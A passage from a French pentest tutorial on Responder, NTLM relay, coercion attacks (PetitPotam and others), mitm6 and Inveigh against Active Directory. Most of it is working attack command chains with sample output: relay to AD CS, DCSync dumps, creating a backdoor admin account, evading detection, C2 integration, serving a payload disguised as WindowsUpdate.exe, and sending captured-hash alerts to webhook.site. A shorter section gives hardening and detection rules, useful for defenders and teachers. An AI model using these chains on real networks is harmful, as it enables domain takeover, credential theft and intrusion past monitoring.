Pour maximiser l'efficacité de Responder + ntlmrelayx, on peut forcer des machines spécifiques à s'authentifier via des techniques de coercion :

# PetitPotam — force un DC à s'authentifier via EFS RPC
python3 PetitPotam.py -u jdupont -p 'CrackedPassword2024!' \
  ATTACKER_IP DC01.corp.local

# PrinterBug — force une machine à s'authentifier via le spooler
python3 printerbug.py CORP/jdupont:'CrackedPassword2024!'@DC01.corp.local \
  ATTACKER_IP

# DFSCoerce — force l'authentification via DFS RPC
python3 dfscoerce.py -u jdupont -p 'CrackedPassword2024!' \
  ATTACKER_IP DC01.corp.local

# ShadowCoerce — via le service FSR VSS Agent
python3 shadowcoerce.py -u jdupont -p 'CrackedPassword2024!' \
  ATTACKER_IP DC01.corp.local

# Combo complète :
# Terminal 1 : ntlmrelayx vers AD CS
python3 ntlmrelayx.py -t http://ADCS01.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Terminal 2 : Responder en empoisonnement continu
sudo python3 Responder.py -I eth0 -wFv

# Terminal 3 : Coercion ciblée sur le DC
python3 PetitPotam.py ATTACKER_IP DC01.corp.local

Cette triple combinaison (Responder + ntlmrelayx + coercion) est souvent le chemin le plus rapide vers la compromission totale d'un domaine Active Directory. Elle exploite des faiblesses protocolaires fondamentales qui restent présentes dans la majorité des environnements de production en 2026.

Responder en environnement IPv6

L'IPv6 ouvre un vecteur d'attaque supplémentaire et souvent sous-estimé. La plupart des réseaux d'entreprise ont l'IPv6 activé par défaut sur les postes Windows, mais aucune infrastructure IPv6 déployée — créant une situation idéale pour l'exploitation.

La combo mitm6 + Responder + ntlmrelayx

mitm6, développé par Fox-IT (Dirk-jan Mollema), exploite le fait que Windows préfère les réponses DHCPv6 aux réponses DHCPv4, et que les requêtes DNS via IPv6 sont prioritaires. En se positionnant comme serveur DHCPv6 rogue, mitm6 redirige la résolution DNS des victimes vers l'attaquant.

# Architecture de l'attaque mitm6 :
#
# 1. mitm6 répond aux requêtes DHCPv6 Solicit
# 2. Attribue une adresse IPv6 et un serveur DNS (attaquant)
# 3. Les requêtes DNS des victimes arrivent chez l'attaquant
# 4. L'attaquant répond avec son IP pour WPAD ou d'autres noms
# 5. La victime s'authentifie auprès des serveurs de l'attaquant
# 6. ntlmrelayx relaye les authentifications

# Terminal 1 : Lancer mitm6 ciblant le domaine
sudo mitm6 -d corp.local -i eth0

# Terminal 2 : Lancer ntlmrelayx vers LDAP pour RBCD/Shadow Creds
python3 ntlmrelayx.py -6 -t ldaps://DC01.corp.local \
  -smb2support --delegate-access

# Terminal 3 (optionnel) : Responder pour compléter la surface d'attaque
sudo python3 Responder.py -I eth0 -wFv

# La combinaison mitm6 + ntlmrelayx est souvent suffisante seule
# Responder ajoute la couverture LLMNR/NBT-NS en complément

Les avantages de l'approche IPv6 :

• Furtivité supérieure — peu de solutions de monitoring couvrent le trafic IPv6
• Pas de conflit — mitm6 utilise DHCPv6, qui n'interfère pas avec l'infrastructure DHCP existante (en IPv4)
• DNS takeover complet — toute la résolution DNS de la victime passe par l'attaquant, pas seulement les noms inconnus
• Capture de comptes machine — les comptes machine émettent des requêtes DNS automatiques, idéal pour le relay vers LDAP

DNS takeover via IPv6

Le DNS takeover IPv6 permet de cibler des services spécifiques de manière chirurgicale :

# Rediriger uniquement les requêtes WPAD via IPv6
sudo mitm6 -d corp.local --ignore-nofqdn -hw wpad

# Rediriger les requêtes vers le serveur d'impression
# (utile pour capturer des comptes avec droits d'impression)
sudo mitm6 -d corp.local -hw printserver.corp.local

# Cibler un serveur de fichiers spécifique
sudo mitm6 -d corp.local -hw fileserver.corp.local

# Filtrer les réponses par sous-réseau
sudo mitm6 -d corp.local --filter 10.0.1.0/24

L'attaque mitm6 est particulièrement efficace dans les environnements où LLMNR et NBT-NS ont été désactivés (mesure de durcissement courante), car elle contourne complètement ces protocoles en opérant au niveau DNS. C'est pourquoi la désactivation de LLMNR/NBT-NS seule n'est pas suffisante — il faut également désactiver IPv6 si non utilisé, ou au minimum bloquer le trafic DHCPv6 rogue.

MultiRelay et modules avancés

Responder inclut plusieurs modules avancés qui étendent ses capacités au-delà de la simple capture de hashes. Ces outils, souvent méconnus, offrent des fonctionnalités puissantes pour les engagements red team.

MultiRelay — le relay intégré à Responder

Avant l'émergence de ntlmrelayx comme outil de référence, Responder incluait son propre module de relay NTLM : MultiRelay. Bien que ntlmrelayx soit aujourd'hui plus populaire et plus riche fonctionnellement, MultiRelay reste utile dans certains contextes.

# Lancement de MultiRelay
cd tools/
python3 MultiRelay.py -t 10.0.1.45 -u ALL

# Options principales :
# -t : cible du relay (IP unique)
# -u : utilisateurs à relayer (ALL ou liste séparée par virgules)
# -c : commande à exécuter après relay réussi

# Relay avec exécution de commande
python3 MultiRelay.py -t 10.0.1.45 -u ALL \
  -c "net user hacker Password123! /add && net localgroup administrators hacker /add"

# Relay ciblé sur des utilisateurs spécifiques
python3 MultiRelay.py -t 10.0.1.45 -u admin,svc-backup,jdupont

MultiRelay lance un shell interactif sur la cible après un relay réussi, permettant l'exécution de commandes Windows sans charger de fichier sur le disque (technique fileless).

Le module RunFinger

RunFinger est un module de reconnaissance qui permet d'identifier les hôtes Windows sur le réseau et de collecter des informations sur leur configuration SMB :

# Scanner un sous-réseau pour identifier les hôtes Windows
python3 tools/RunFinger.py -i 10.0.1.0/24

# Exemple de sortie :
# Retrieving information for 10.0.1.15...
# SMB signing: False
# OS version: Windows Server 2019 Standard 17763
# Domain: CORP
#
# Retrieving information for 10.0.1.22...
# SMB signing: True (enforced)
# OS version: Windows Server 2022 Standard 20348
# Domain: CORP

# Les hôtes avec "SMB signing: False" sont relayables

Le module DHCP

Responder inclut un serveur DHCP rogue qui peut distribuer des configurations réseau malveillantes. Ce module est particulièrement utile lorsque les protocoles LLMNR et NBT-NS sont désactivés.

# Activer le serveur DHCP rogue
# Dans Responder.conf, configurer :
# [DHCP]
# DHCPRange = 10.0.1.200-10.0.1.250
# DHCPSubnet = 255.255.255.0
# DHCPRouter = 10.0.1.1
# DHCPDNS = ATTACKER_IP
# DHCPWPADServer = ATTACKER_IP

# Le serveur DHCP rogue va :
# 1. Répondre aux requêtes DHCP Discover avec une offre empoisonnée
# 2. Configurer le serveur DNS de la victime vers l'attaquant
# 3. Configurer le WPAD vers l'attaquant
# Attention : peut perturber le réseau si mal configuré

Filtrage avancé et réponses sélectives

Pour les engagements red team où la furtivité est primordiale, Responder permet de filtrer les requêtes et de ne répondre qu'à des cibles spécifiques :

# Répondre uniquement aux requêtes d'une IP spécifique
# (nécessite la modification de Responder.conf ou l'utilisation de règles iptables)

# Méthode iptables : bloquer les réponses sauf vers la cible
sudo iptables -A OUTPUT -p udp --dport 5355 ! -d 10.0.1.45 -j DROP
sudo iptables -A OUTPUT -p udp --dport 137 ! -d 10.0.1.45 -j DROP

# Lancer Responder normalement
sudo python3 Responder.py -I eth0 -wFv

# Nettoyer les règles iptables après l'opération
sudo iptables -F OUTPUT

Cette approche sélective est recommandée en red team pour réduire le bruit et minimiser les risques de détection par les équipes SOC ou les systèmes de détection d'anomalies réseau.

Personnalisation des pages web

Le serveur HTTP de Responder peut servir des pages web personnalisées pour augmenter la crédibilité de l'attaque :

# Personnaliser la page HTML servie par le serveur HTTP
# Modifier Responder.conf :
# HtmlFilename = /path/to/custom-login.html

# Exemple de page de phishing interne :
# Une page qui ressemble au portail intranet de l'entreprise
# et demande une authentification NTLM transparente

# Pour servir un exécutable malveillant :
# ExeFilename = /path/to/payload.exe
# ExeDownloadName = WindowsUpdate.exe
# WPADScript = function FindProxyForURL(url, host){
#   return "PROXY ATTACKER_IP:3128; DIRECT";
# }

Détection et défense contre Responder

Comprendre les attaques Responder est la première étape vers une défense efficace. Cette section détaille les mesures de détection et de prévention, essentielles pour tout architecte sécurité ou administrateur Active Directory.

Désactivation de LLMNR via GPO

La mesure la plus importante et la plus simple est la désactivation de LLMNR par stratégie de groupe :

# Chemin GPO pour désactiver LLMNR :
# Computer Configuration
#   → Administrative Templates
#     → Network
#       → DNS Client
#         → Turn Off Multicast Name Resolution
#
# Valeur : Enabled (désactive LLMNR)

# Vérification via registre sur un poste :
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast
# Résultat attendu : EnableMulticast REG_DWORD 0x0

# Script PowerShell de vérification en masse :
$computers = Get-ADComputer -Filter * | Select -ExpandProperty Name
foreach ($pc in $computers) {
    try {
        $val = Invoke-Command -ComputerName $pc -ScriptBlock {
            (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name EnableMulticast -ErrorAction Stop).EnableMulticast
        } -ErrorAction Stop
        if ($val -ne 0) { Write-Host "$pc : LLMNR ACTIF - VULNERABLE" -ForegroundColor Red }
        else { Write-Host "$pc : LLMNR désactivé" -ForegroundColor Green }
    } catch { Write-Host "$pc : Inaccessible" -ForegroundColor Yellow }
}

Désactivation de NBT-NS

La désactivation de NBT-NS est plus complexe car elle se fait par interface réseau et non par GPO globale :

# Méthode 1 : Via GPO (script de démarrage)
# Computer Configuration → Windows Settings → Scripts → Startup
# Ajouter un script PowerShell :

# disable-nbtns.ps1
$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true }
foreach ($adapter in $adapters) {
    $adapter.SetTcpipNetbios(2)  # 2 = Disable NetBIOS over TCP/IP
}

# Méthode 2 : Via DHCP (Option 001)
# Sur le serveur DHCP, configurer l'option 001 (Microsoft Disable Netbios Option)
# Valeur : 0x2 (Disable NetBIOS over TCP/IP)

# Méthode 3 : Via registre (appliqué par GPO preference)
# HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_{GUID}
# NetbiosOptions = 2

# Vérification :
wmic nicconfig where TcpipNetbiosOptions=2 get Caption,TcpipNetbiosOptions
# Tous les adaptateurs devraient montrer TcpipNetbiosOptions = 2

Désactivation de WPAD

# Méthode 1 : GPO pour désactiver l'auto-détection proxy
# User Configuration → Administrative Templates → Windows Components
#   → Internet Explorer → Disable changing Automatic Configuration settings
# Et configurer "Use automatic configuration script" = Disabled

# Méthode 2 : Registre via GPO
# HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
# AutoDetect = 0

# Méthode 3 : Créer une entrée DNS "wpad" pointant vers un serveur légitime
# Cela empêche le fallback LLMNR/NBT-NS pour la résolution WPAD
# Dans la zone DNS du domaine :
# wpad.corp.local → 10.0.1.250 (serveur web retournant un PAC vide)

# Fichier PAC vide (sur le serveur web légitime) :
# function FindProxyForURL(url, host) { return "DIRECT"; }

SMB Signing

L'enforcement du SMB signing est la contre-mesure la plus efficace contre le relay NTLM via SMB :

# GPO pour enforcer le SMB Signing :
# Computer Configuration → Policies → Windows Settings
#   → Security Settings → Local Policies → Security Options

# Pour les serveurs :
# "Microsoft network server: Digitally sign communications (always)" = Enabled

# Pour les clients :
# "Microsoft network client: Digitally sign communications (always)" = Enabled

# Vérification en masse avec CrackMapExec :
crackmapexec smb 10.0.1.0/24 --gen-relay-list /tmp/no-signing.txt
# Si le fichier est vide, tout le réseau a le SMB signing enforced

# Vérification par registre :
reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature
# Résultat attendu : RequireSecuritySignature REG_DWORD 0x1

Extended Protection for Authentication (EPA)

EPA (Channel Binding) protège contre le relay NTLM vers HTTP et LDAP :

# Activer EPA sur LDAP (DC) :
# Registre : HKLM\System\CurrentControlSet\Services\NTDS\Parameters
# LdapEnforceChannelBinding = 2 (Required)
# Valeurs : 0 = Never, 1 = When supported, 2 = Always

# Activer EPA sur AD CS (IIS) :
# IIS Manager → Sites → Default Web Site → CertSrv
# → Authentication → Windows Authentication → Advanced Settings
# → Extended Protection = Required

# Activer EPA sur Exchange (EWS, OWA, etc.)
# Set-ExchangeServer -Identity EX01 -ExtendedProtectionSPNList @{Add="HTTP/mail.corp.local"}

# Activer LDAP Channel Binding sur les DC :
reg add "HKLM\System\CurrentControlSet\Services\NTDS\Parameters" \
  /v LdapEnforceChannelBinding /t REG_DWORD /d 2 /f

Monitoring et détection

La détection des attaques Responder repose sur la surveillance de plusieurs indicateurs :

# Events Windows à surveiller :

# Event ID 4697 — Installation d'un service (post-relay)
# Filtre SIEM : EventID=4697 AND ServiceFileName CONTAINS "cmd" OR "powershell"

# Event ID 4624 — Logon de type 3 (réseau) depuis une IP suspecte
# Filtre : EventID=4624 AND LogonType=3 AND SourceIP NOT IN (known_servers)

# Sysmon Event ID 13 — Modification de registre (persistence post-relay)
# Filtre : EventID=13 AND TargetObject CONTAINS "Run" OR "RunOnce"

# Event ID 4648 — Logon with explicit credentials
# Peut indiquer un relay NTLM réussi

# Détection réseau :

# Surveiller les réponses LLMNR depuis des IP non-légitimes
# Rule Suricata/Snort :
# alert udp any any -> any 5355 (msg:"LLMNR Response from non-DNS server";
#   content:"|00 00 80 00|"; offset:2; depth:4; sid:1000001; rev:1;)

# Surveiller les réponses NBT-NS anormales
# alert udp any 137 -> any any (msg:"NBT-NS Response suspicious";
#   content:"|85|"; offset:2; depth:1; sid:1000002; rev:1;)

# Détecter les serveurs WPAD rogue
# alert tcp any any -> any 80 (msg:"WPAD PAC file from non-approved server";
#   content:"FindProxyForURL"; http_server_body; sid:1000003; rev:1;)

# Honeypots LLMNR/NBT-NS :
# Créer des requêtes LLMNR factices et alerter si quelqu'un y répond
# Outil : Respounder (https://github.com/codeexpress/respounder)
# Lance des requêtes LLMNR et détecte les réponses de Responder

La stratégie de détection la plus efficace combine :

• Prévention — désactiver LLMNR, NBT-NS et WPAD (élimine le vecteur d'attaque)
• Détection réseau — IDS/IPS avec règles spécifiques pour les réponses LLMNR/NBT-NS suspectes
• Honeypots — Respounder ou des scripts personnalisés qui émettent des requêtes factices
• Monitoring SIEM — corrélation des events 4624 (logon réseau) avec des IP sources inattendues
• Audit régulier — tests d'intrusion périodiques pour valider l'efficacité des mesures

Alternatives et outils complémentaires

Bien que Responder soit l'outil de référence pour le poisoning LLMNR/NBT-NS, d'autres outils offrent des fonctionnalités complémentaires ou alternatives selon le contexte d'engagement.

Inveigh — le Responder en PowerShell et C#

Inveigh est l'équivalent PowerShell et C# de Responder, développé par Kevin Robertson. Il est particulièrement utile dans les scénarios où l'exécution de Python n'est pas possible ou souhaitable — par exemple, depuis un poste Windows compromis sans installer de dépendances supplémentaires.

# Inveigh en PowerShell (depuis un poste Windows compromis)
Import-Module .\Inveigh.ps1
Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -ConsoleOutput Y

# Inveigh en C# (InveighZero / SharpInveigh)
# Compilé en .NET, exécutable via execute-assembly (Cobalt Strike)
# ou directement en tant qu'exécutable

# Options similaires à Responder :
Invoke-Inveigh -IP 10.0.1.100 -LLMNR Y -NBNS Y -HTTP Y -SMB Y \
  -FileOutput Y -OutputDir C:\Temp\

# Mode challenge fixe (pour faciliter le cracking)
Invoke-Inveigh -Challenge 1122334455667788

# Avec relay SMB intégré
Invoke-InveighRelay -Target 10.0.1.45 -Command "whoami" \
  -ConsoleOutput Y

Les avantages d'Inveigh par rapport à Responder :

• Exécution native Windows — pas besoin de Python, fonctionne en PowerShell ou .NET
• Intégration C2 — le binaire C# peut être chargé en mémoire via des frameworks C2 (Cobalt Strike, Sliver)
• Évasion — les versions .NET sont plus difficiles à détecter que l'exécution de scripts Python
• Fonctionnement depuis un poste compromis — idéal quand l'attaquant n'a pas son propre laptop sur le réseau

PCredz — capture passive de credentials

PCredz est un outil de capture passive de credentials qui analyse le trafic réseau (live ou PCAP) pour extraire des identifiants transmis en clair ou dans des protocoles faibles :

# Capture live
sudo python3 Pcredz -i eth0

# Analyse d'un fichier PCAP
python3 Pcredz -f /tmp/capture.pcap

# PCredz extrait :
# - Credentials HTTP Basic
# - Hashes NTLM (SMB, HTTP)
# - Credentials FTP, Telnet, IMAP, POP3, SMTP
# - Hashes Kerberos AS-REQ
# - Credentials SNMP
# - Hashes NTLMv1/v2

# PCredz ne fait PAS de poisoning — il est purement passif
# Il est complémentaire à Responder :
# Responder empoisonne et capture, PCredz capture sans empoisonner

mitm6 — l'arme IPv6

Nous avons déjà couvert mitm6 dans la section IPv6, mais il mérite une mention spéciale comme alternative/complément à Responder. Lorsque LLMNR et NBT-NS sont désactivés, mitm6 devient le vecteur principal de capture de credentials réseau :

# mitm6 seul (sans Responder)
sudo mitm6 -d corp.local -i eth0

# Combiné avec ntlmrelayx
# Terminal 1 :
sudo mitm6 -d corp.local
# Terminal 2 :
python3 ntlmrelayx.py -6 -t ldaps://DC01.corp.local --delegate-access

# mitm6 est plus efficace que Responder dans les cas suivants :
# - LLMNR/NBT-NS désactivés par GPO
# - Besoin de capturer des comptes machine (pour relay LDAP)
# - Ciblage de services DNS spécifiques

Pretender — le successeur moderne

Pretender est un outil plus récent écrit en Go qui combine les fonctionnalités de Responder et mitm6 dans un seul binaire. Il supporte le poisoning LLMNR, NBT-NS, mDNS et DHCPv6 nativement :

# Installation
go install github.com/RedTeamPentesting/pretender@latest

# Utilisation basique
sudo pretender -i eth0

# Avec relay (intégré)
sudo pretender -i eth0 --relay

# Avantages de Pretender :
# - Binaire unique Go (pas de dépendances Python)
# - Support IPv4 et IPv6 natif
# - Intègre DHCPv6 poisoning (comme mitm6)
# - Performance supérieure

Tableau comparatif des outils

En pratique, la combinaison optimale pour un pentest interne en 2026 est Responder + ntlmrelayx + mitm6, couvrant à la fois les vecteurs IPv4 (LLMNR/NBT-NS) et IPv6 (DHCPv6/DNS). Pour les engagements red team nécessitant une exécution depuis un poste Windows compromis, Inveigh/SharpInveigh est le choix naturel.

Lab pratique : scénario complet de A à Z

Cette section propose un lab complet pour pratiquer les techniques Responder dans un environnement contrôlé. Le scénario simule un test d'intrusion interne classique sur un domaine Active Directory.

Setup du lab

# Architecture du lab :
#
# DC01 (Windows Server 2022) — 10.0.1.1
#   - Contrôleur de domaine : lab.local
#   - ADCS installé (Certification Authority)
#   - LLMNR/NBT-NS NON désactivés (configuration par défaut)
#
# SRV01 (Windows Server 2022) — 10.0.1.10
#   - Serveur de fichiers
#   - SMB signing NON enforced
#   - Partages : \\SRV01\Finance, \\SRV01\IT
#
# WS01 (Windows 11) — 10.0.1.100
#   - Poste utilisateur : lab\jdupont (mot de passe : Summer2024!)
#   - Lecteur réseau mappé : \\FILESERV\partage (nom incorrect)
#   - Auto-détection proxy : activé
#
# WS02 (Windows 11) — 10.0.1.101
#   - Poste utilisateur : lab\admin-it (mot de passe : Admin@Lab2024)
#   - Membre du groupe "Domain Admins"
#
# KALI (Kali Linux) — 10.0.1.200
#   - Attaquant avec Responder, Impacket, CrackMapExec

# === Setup avec VirtualBox / VMware ===

# 1. Créer le DC
# Installer Windows Server 2022, promouvoir en DC pour lab.local
# Installer AD CS avec Web Enrollment

# 2. Créer SRV01
# Joindre au domaine, créer des partages, désactiver SMB signing :
# reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 0 /f

# 3. Créer les postes clients
# Joindre au domaine, mapper un lecteur réseau avec un nom erroné
# Activer "Détecter automatiquement les paramètres de proxy"

# 4. Configurer Kali
sudo apt update && sudo apt install -y responder crackmapexec
pip3 install impacket mitm6

Scénario d'attaque complet

# === ÉTAPE 1 : Reconnaissance ===

# Vérifier notre IP et le réseau
ip addr show eth0
# 10.0.1.200/24

# Scanner le réseau
nmap -sn 10.0.1.0/24 -oN /tmp/hosts.txt

# Identifier les hôtes Windows et leur configuration SMB
crackmapexec smb 10.0.1.0/24

# Résultat attendu :
# SMB  10.0.1.1    445  DC01       [*] Windows Server 2022 Build 20348 x64
#                                       (domain:lab.local) (signing:True)
# SMB  10.0.1.10   445  SRV01      [*] Windows Server 2022 Build 20348 x64
#                                       (domain:lab.local) (signing:False)
# SMB  10.0.1.100  445  WS01       [*] Windows 11 Build 22621 x64
#                                       (domain:lab.local) (signing:False)

# Générer la liste des cibles relayables
crackmapexec smb 10.0.1.0/24 --gen-relay-list /tmp/targets.txt
cat /tmp/targets.txt
# 10.0.1.10
# 10.0.1.100
# 10.0.1.101

# === ÉTAPE 2 : Reconnaissance passive Responder ===

sudo python3 /opt/Responder/Responder.py -I eth0 -A -v
# Attendre 10-15 minutes et observer :
#
# [Analyze mode: LLMNR] Request from 10.0.1.100 for FILESERV
# [Analyze mode: NBT-NS] Request from 10.0.1.100 for WPAD
# [Analyze mode: LLMNR] Request from 10.0.1.101 for PRINTSVR

# Observations :
# - WS01 (10.0.1.100) cherche "FILESERV" en broadcast → lecteur réseau mal configuré
# - WS01 cherche "WPAD" → auto-détection proxy active
# - WS02 (10.0.1.101) cherche "PRINTSVR" → imprimante mal configurée

# === ÉTAPE 3 : Capture de hashes ===

# Terminal 1 : Lancer Responder en mode empoisonnement
sudo python3 /opt/Responder/Responder.py -I eth0 -wFv

# Résultat après quelques minutes :
# [+] Listening for events...
# [*] [LLMNR] Poisoned answer sent to 10.0.1.100 for name FILESERV
# [SMB] NTLMv2-SSP Client   : 10.0.1.100
# [SMB] NTLMv2-SSP Username : LAB\jdupont
# [SMB] NTLMv2-SSP Hash     : jdupont::LAB:a1b2c3d4e5f6a7b8:
#   C9D0E1F2A3B4C5D6E7F8A9B0C1D2E3F4:0101000000000000...
#
# [*] [NBT-NS] Poisoned answer sent to 10.0.1.100 for name WPAD
# [HTTP] NTLMv2 Client   : 10.0.1.100
# [HTTP] NTLMv2 Username : LAB\jdupont
# [HTTP] NTLMv2 Hash     : jdupont::LAB:...
#
# [*] [LLMNR] Poisoned answer sent to 10.0.1.101 for name PRINTSVR
# [SMB] NTLMv2-SSP Client   : 10.0.1.101
# [SMB] NTLMv2-SSP Username : LAB\admin-it
# [SMB] NTLMv2-SSP Hash     : admin-it::LAB:...

# Copier les hashes dans un fichier
cat /opt/Responder/logs/SMB-NTLMv2-SSP-*.txt > /tmp/hashes.txt

# === ÉTAPE 4 : Cracking ===

# Cracker avec hashcat
hashcat -m 5600 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Résultats :
# jdupont::LAB:...:Summer2024!
# admin-it::LAB:...:Admin@Lab2024

# === ÉTAPE 5 : Vérification et mouvement latéral ===

# Vérifier les credentials
crackmapexec smb 10.0.1.0/24 -u admin-it -p 'Admin@Lab2024'
# SMB  10.0.1.1    445  DC01  [+] lab.local\admin-it:Admin@Lab2024 (Pwn3d!)
# Le compte admin-it est Domain Admin !

# Dump DCSync (tous les hashes du domaine)
python3 /opt/impacket/examples/secretsdump.py \
  'lab.local/admin-it:Admin@Lab2024@10.0.1.1' -just-dc

# Shell sur le DC
python3 /opt/impacket/examples/wmiexec.py \
  'lab.local/admin-it:Admin@Lab2024@DC01.lab.local'

# === RÉSULTAT : Domain Admin en ~20 minutes ===

Scénario avancé : relay NTLM vers AD CS

# Quand le cracking échoue (mots de passe complexes), utiliser le relay

# === ÉTAPE 1 : Préparer le relay ===

# Identifier AD CS
crackmapexec ldap DC01.lab.local -u jdupont -p 'Summer2024!' -M adcs
# [*] Found PKI Enrollment Server: DC01.lab.local
# [*] Found CN: lab-DC01-CA

# Modifier Responder.conf
# SMB = Off
# HTTP = Off

# === ÉTAPE 2 : Lancer l'attaque ===

# Terminal 1 : ntlmrelayx vers AD CS
python3 /opt/impacket/examples/ntlmrelayx.py \
  -t http://DC01.lab.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Terminal 2 : Responder
sudo python3 /opt/Responder/Responder.py -I eth0 -wFv

# Terminal 3 : Forcer l'authentification du DC (PetitPotam)
python3 /opt/PetitPotam/PetitPotam.py 10.0.1.200 DC01.lab.local

# Résultat dans ntlmrelayx :
# [*] SMBD-Thread-4: Received connection from 10.0.1.1
# [*] Authenticating against http://DC01.lab.local as LAB/DC01$
# [*] Successfully obtained certificate for DC01$
# [*] Saved PFX to DC01$.pfx

# === ÉTAPE 3 : Exploiter le certificat ===

# Obtenir un TGT avec le certificat du DC
certipy auth -pfx DC01\$.pfx -dc-ip 10.0.1.1
# [*] Got TGT for DC01$
# [*] Saved credential cache to dc01.ccache
# [*] NT hash for DC01$: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

# DCSync avec le hash du compte machine DC
python3 /opt/impacket/examples/secretsdump.py \
  -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  'lab.local/DC01$@DC01.lab.local' -just-dc

# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:...
# ...

# === DOMAIN COMPROMIS via relay NTLM + AD CS ===
# Sans jamais cracker un seul mot de passe

Ce lab démontre les deux chemins d'attaque principaux avec Responder : le cracking de hashes (rapide si les mots de passe sont faibles) et le relay NTLM (fonctionne indépendamment de la complexité des mots de passe). Dans un pentest réel, les deux approches sont utilisées en parallèle pour maximiser les chances de succès.

Techniques avancées et astuces de terrain

Au-delà des scénarios classiques, plusieurs techniques avancées permettent d'optimiser l'utilisation de Responder en conditions réelles de pentest.

Gestion du bruit et de la furtivité

En pentest purple team ou en red team, la furtivité est cruciale. Responder génère par nature du trafic anormal qui peut déclencher des alertes.

# Technique 1 : Limiter les réponses dans le temps
# Lancer Responder pendant de courtes fenêtres (5-10 minutes)
# puis faire une pause pour analyser les captures
timeout 300 sudo python3 Responder.py -I eth0 -wFv

# Technique 2 : Cibler uniquement WPAD (moins bruyant que LLMNR/NBT-NS)
# Dans Responder.conf, désactiver les poisoners LLMNR et NBT-NS
# et n'activer que le serveur WPAD
# Ou utiliser iptables pour filtrer

# Technique 3 : Utiliser un challenge fixe pour le cracking
# Facilite le cracking mais peut être détecté par les honeypots
# Dans Responder.conf : Challenge = 1122334455667788

# Technique 4 : Exfiltration des hashes en temps réel
# Configurer une alerte quand un hash est capturé
inotifywait -m /opt/Responder/logs/ -e create |
while read path action file; do
    echo "[ALERT] New hash captured: $file" | \
    curl -X POST -d @- https://webhook.site/your-id
done &

# Technique 5 : Rotation d'IP pour éviter le blocage
# Si un IDS bloque votre IP après détection, changer d'adresse
sudo ip addr add 10.0.1.201/24 dev eth0
sudo python3 Responder.py -I eth0 -e 10.0.1.201 -wFv

Responder dans les réseaux segmentés

Les réseaux modernes sont segmentés en VLANs, ce qui limite la portée du broadcast. Plusieurs techniques permettent de contourner cette limitation :

# Technique 1 : Après compromission d'un poste dans un autre VLAN
# Utiliser un tunnel pour faire transiter le trafic Responder

# Tunnel SSH SOCKS avec proxychains
ssh -D 1080 user@compromised-host
# Puis utiliser Inveigh depuis le poste compromis

# Technique 2 : VLAN hopping (si le switch est mal configuré)
# Nécessite un accès physique et un switch acceptant les trames 802.1Q
sudo modprobe 8021q
sudo vconfig add eth0 100  # VLAN 100
sudo ip addr add 10.0.100.200/24 dev eth0.100
sudo ip link set eth0.100 up
sudo python3 Responder.py -I eth0.100 -wFv

# Technique 3 : Pivot via un hôte dual-homed
# Si un serveur compromis a deux interfaces réseau
# Configurer un port forwarding pour les ports Responder
# Sur le serveur compromis :
netsh interface portproxy add v4tov4 listenport=445 listenaddress=10.0.2.50 \
  connectport=445 connectaddress=10.0.1.200

Analyse forensique des captures Responder

Les fichiers de log de Responder contiennent une mine d'informations pour l'analyse post-engagement :

# Structure des logs Responder
ls -la /opt/Responder/logs/
# Analyzer-Session.log      — requêtes en mode analyse
# Config-Responder.log      — configuration utilisée
# HTTP-NTLMv2-*.txt         — hashes capturés via HTTP
# Poisoners-Session.log     — toutes les réponses envoyées
# Responder-Session.log     — journal complet de la session
# SMB-NTLMv2-SSP-*.txt      — hashes capturés via SMB

# Extraire les statistiques des captures
echo "=== Hashes uniques par utilisateur ==="
cat logs/SMB-NTLMv2-SSP-*.txt logs/HTTP-NTLMv2-*.txt 2>/dev/null | \
  cut -d: -f1 | sort -u

echo "=== Hashes par source IP ==="
cat logs/SMB-NTLMv2-SSP-*.txt 2>/dev/null | \
  grep -oP '\d+\.\d+\.\d+\.\d+' | sort | uniq -c | sort -rn

echo "=== Timeline des captures ==="
# Utiliser les timestamps des fichiers pour reconstruire la timeline
ls -lt logs/*.txt

# La base de données SQLite de Responder (Responder.db) contient
# l'historique complet et peut être interrogée :
sqlite3 /opt/Responder/Responder.db \
  "SELECT fullhash, type, client FROM Responder WHERE type LIKE '%NTLMv2%'"

Intégration avec les frameworks C2

En engagement red team, Responder est souvent intégré dans une chaîne d'outils plus large :

# Avec Cobalt Strike :
# 1. Exécuter SharpInveigh via execute-assembly
beacon> execute-assembly /opt/SharpInveigh.exe -LLMNR Y -NBNS Y -mDNS Y

# 2. Les hashes capturés sont affichés dans la console Beacon
# 3. Utiliser les hashes crackés pour le mouvement latéral via Beacon

# Avec Sliver :
# 1. Charger InveighZero comme extension
sliver> extensions load /opt/inveigh-extension
sliver> inveigh --llmnr --nbns

# Avec Havoc :
# 1. Utiliser le module Inveigh intégré
# 2. Les captures sont routées vers le teamserver

Contournement des défenses modernes

Face aux durcissements de plus en plus courants, plusieurs techniques de contournement existent :

# Scénario : LLMNR et NBT-NS désactivés par GPO

# Solution 1 : mitm6 (DHCPv6 poisoning)
sudo mitm6 -d corp.local

# Solution 2 : DNS spoofing via ARP poisoning
# (plus intrusif, risque de perturbation réseau)
sudo arpspoof -i eth0 -t 10.0.1.100 10.0.1.1  # empoisonner le client
sudo arpspoof -i eth0 -t 10.0.1.1 10.0.1.100  # empoisonner le DC
# Puis intercepter les requêtes DNS avec dnschef ou Responder

# Solution 3 : DHCP starvation + DHCP rogue
# Épuiser les baux DHCP légitimes puis distribuer des baux empoisonnés
